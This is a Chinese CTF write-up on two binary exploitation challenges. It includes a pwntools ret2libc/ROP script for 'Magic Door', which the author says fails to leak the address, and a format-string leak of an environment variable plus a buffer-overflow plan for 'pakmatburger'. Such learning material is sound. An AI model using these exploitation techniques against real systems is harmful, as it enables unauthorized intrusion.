【全栈ctfer计划中,会持续复现学习与更新该文章】
题目归档坐标
231216
| RP01sword战队wiki
pwn
Magic Door
考察点:
(1)查看程序保护 开了nx保护,利用shellcode困难,且是amd64
(2)查看程序重定位表和导入表:
导入表记录着从外部导入的符号信息,导入表包含程序导入外部函数的.plt表项,重定位表包含外部函数对应的.got.plt表项
(3)反编译分析: main:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 __int64 open_the_door () { __int64 result; char input[12 ]; int v2; initialize (); puts ("Welcome to the Magic Door !" ); printf ("Which door would you like to open? " ); __isoc99_scanf("%11s" , input); getchar (); if ( !strcmp (input, "50015" ) || (v2 = atoi (input), v2 != 50015 ) ) result = no_door_foryou (); else result = magic_door (50015LL ); return result; }
先获取第一次输入,我们目的是要让其执行第二个result,那么就要让strcmp()结果返回1,即输入不与50015相同,可是要使整个if条件为假,还要满足“||“后面部分为0,该部分使用了atoi函数将input字符串转换为整数并赋值给v2,最后判断v2是否等于50015,显然,我们要让v2=50015,综合整个条件,可知我们必须让input
= 50015fsljf,即前面是50015后面随便加任意字符串。 执行程序来验证输入:
接着跟进到下一个函数: magic_door:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 char *magic_door () { char input2[8 ]; __int64 v2; __int64 v3; __int64 v4; __int64 v5; __int64 v6; __int64 v7; __int64 v8; *(_QWORD *)input2 = 0LL ; v2 = 0LL ; v3 = 0LL ; v4 = 0LL ; v5 = 0LL ; v6 = 0LL ; v7 = 0LL ; v8 = 0LL ; puts ("Congratulations! You opened the magic door!" ); puts ("Where would you like to go? " ); return fgets (input2, 256 , stdin); }
这里就是简单的获取输入,没有什么逻辑判断,因此这里的padding最好判断,点input2跟进它在栈中的位置或者用cyclic都可以,得出结果相同:
可知从input2到覆盖返回地址的偏移为0x48 十进制72刚好就是0x48
(4)动态调试:
由于我们的目的是要getshell,需要调用system函数,但是程序中没有找到,那就试着ret2libc,且是amd64程序,可能需要用到ROP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *context(log_level='debug' ,arch='amd64' ,os='linux' ) pwnfile= './magic_door' io = process(pwnfile) elf = ELF('./magic_door' ) del1 = b'open?' x = b'50015a' io.sendlineafter(del1,x) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] magic_door = elf.symbols['magic_door' ] padding = 0x48 pop_rdi_ret = 0x401434 ret = 0x401388 del2 = b'go?' payload1 = padding * b'a' + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(magic_door) io.sendlineafter(del2,payload1) output = io.recvuntil('\n' ) leaked_address = output[:8 ] address_value = u64(leaked_address) print ("Leaked address: 0x{:x}" .format (address_value))io.interactive()
(待续)遇到问题:输出puts的泄漏地址不成功
pakmatburger
考察点:
(1)查看程序保护 保护全开,问题就有些棘手了
(2)查看程序重定位表和导入表 (3)反编译分析 main:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 int __cdecl main (int argc, const char **argv, const char **envp) { int result; const char *s2; char s1[9 ]; char s[10 ]; char format[12 ]; char v8[15 ]; unsigned __int64 v9; v9 = __readfsqword(0x28u ); initialize (); s2 = getenv ("SECRET_MESSAGE" ); if ( s2 ) { puts ("Welcome to Pak Mat Burger!" ); printf ("Please enter your name: " ); __isoc99_scanf("%11s" , format); printf ("Hi " ); printf (format); printf (", to order a burger, enter the secret message: " ); __isoc99_scanf("%8s" , s1); if ( !strcmp (s1, s2) ) { puts ("Great! What type of burger would you like to order? " ); __isoc99_scanf("%14s" , v8); getchar (); printf ("Please provide your phone number, we will delivered soon: " ); result = (unsigned int )fgets (s, 100 , stdin); } else { puts ("Sorry, the secret message is incorrect. Exiting..." ); result = 0 ; } } else { puts ("Error: SECRET_MESSAGE environment variable not set. Exiting..." ); result = 1 ; } return result; }
首先判断SECRET_MESSAGE
是否存在,不存在则提示并退出程序,因此在本地调试之前可以设置为任意值,因为只需要该值存在,如果是在远程就不需要,部署环境时已设置正确的值。当前shell
中输入命令:
1 export SECRET_MESSAGE=hello
接着第一个输入获取是名字,注意到这里用的scanf
函数,并且存在格式化字符串,可能可以利用格式化字符串漏洞,然后输出我们的输入,接着要我们输入secret message
,作为变量s1,注意到下面用strcmp
函数对最初设置的环境变量s2和现在的s1做比较,当两者相等返回0才满足if条件为真,显然只要输入hello
就可以,但问题是如果是远程的环境,我们并不知道环境变量SECRET_MESSAGE
的值,所以我们可以尝试利用格式化字符串漏洞来泄漏出这个值。接着,获取输入电话号码的函数fgets
中,s
的长度为10,但是fgets
却允许在数组放入100个字符,显然存在缓冲区溢出漏洞。
在程序中我们还找到了由程序本身定义的secret_order
函数(而不是调用libc的):
1 2 3 4 int secret_order () { return system ("cat ./flag.txt" ); }
噢!这个函数直接调用了system函数获取flag,因此我们还可以尝试溢出后返回到这个函数!
(4)动态调试:
首先给第一次的scanf
函数下一个断点,便于每次测试,先尝试几次看看能不能泄漏,从$1
开始:
显然,由于这是x64
程序,在第二次printf
执行之前,我们的格式化字符串输入%1$p
作为第一个参数存储在寄存器rdi
,而%1$p
泄漏的地址就是该参数后的下一个参数位置,这是由格式化输出函数的特性决定的,随着格式化字符串的递增,就是泄漏rsi
、rdx
、rcx
、r8
、r9
、栈rsp
…噢就像个无底洞,总之几乎所有都可以泄漏。
泄漏SECRET_MESSAGE
经过验证发现,当我们最终输入%6$p
时,就指向了rsp
,其内存中存储的数据正好就是最初设置的SECRET_MESSAGE
!!我们还可以用%6$s
进行验证:
显然我们就可以通过%6$s
来泄漏出远程环境变量的真正值:
我们是对的,注意这里是比赛后给的Dockerfile
搭建环境后复现的,环境和比赛时是一样的,所以不必纠结